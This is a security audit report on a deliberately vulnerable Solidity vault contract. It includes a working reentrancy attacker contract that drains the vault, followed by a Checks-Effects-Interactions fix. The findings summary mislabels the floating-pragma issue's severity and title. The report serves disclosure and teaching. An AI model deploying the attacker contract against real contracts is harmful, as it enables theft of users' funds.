SECURITY AUDIT REPORT: VAULT PROTOCOL

PROJECT ..... Vault Protocol

REPOSITORY https://github.com/molalign8468/30-day-security-sprint

COMMIT HASH f516703c35e2fea93d6c0dd3fc047c09c46169ff

AUDIT DATE ..... February 3, 2026

AUDITOR ..... Molalign Getahun

Executive Summary

Status***: CRITICAL RISK***

The VulnerableVault contract contains one Critical severity vulnerability that enables an attacker to drain 100% of the contract's ETH balance via reentrancy and one Low severity configuration issue. The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	1	Unresolved
High	0	-
Medium	0	-
Low	1	Unresolved
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
VulnerableVault.sol	Smart Contract	Deposit and Withdrawal logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Common vulnerability pattern analysis (SWC)

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
CRIT-01	Critical	Reentrancy in withdraw() enables full ETH drain
LOW-01	Informational	Introduce unintended bugs or bytecode discrepancies

Detailed Findings

[CRIT-01] Reentrancy in withdraw() Enables Full ETH Drain

Severity: Critical

Location: VulnerableVault:L11–L17

Description

The withdraw() function transfers the ETH to msg.sender before it updates the balance.

The external calls in the withdraw() function transfer the control to the recipient. Therefore, a malicious contract can execute the withdraw() function multiple times before the balance is reduced.

Impact

The attacker can:

- Withdraw the entire amount (100%) from the ETH balance associated with the contract
- Misappropriate funds from all users
- Erode trust from all users

Proof of Concept

Vulnerable Contract

```
function withdraw() external {
    uint amount = balances[msg.sender];
    require(amount > 0,"Insufficient Balance");
    (bool success,) = payable(msg.sender).call{value:amount}("");
    require(success);
    balances[msg.sender]=0;
}
```

Attacker Contract

```
contract Attacker {
  IVulnerableVault public vault;
  constructor(address _vault){
   vault = IVulnerableVault(_vault);
  }

  function attack() external payable{
   vault.deposit{value: 1 ether}();
   vault.withdraw();
  }

  receive() external payable{
   if(address(vault).balance >= 1 ether){
      vault.withdraw();
   }
  }
}
```

Result
The attacker drains the entire vault balance in one transaction.

Recommendation

- The Checks-Effects-Interactions approach should be followed, Update internal accounting **before** external calls to eliminate reentrancy risk by removing the attacker's ability to re-enter with a non-zero balance.

```
  function withdraw() external {
     uint amount = balances[msg.sender];
     require(amount > 0,"Insufficient Balance");
     balances[msg.sender]=0;
     (bool success,) = payable(msg.sender).call{value:amount}("");
     require(success);
  }
```

- Alternatively, use OpenZeppelin's ReentrancyGuard for additional safety.

[LOW-01] Floating Pragma

Severity: Low

Location: VulnerableVault:L2

Description: The contracts use ^0.8.13. Floating pragmas allow deployment with different compiler versions, which may introduce unintended bugs or bytecode discrepancies.

Recommendation: Lock the pragma to a specific version used during testing, e.g., pragma solidity 0.8.13;.

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.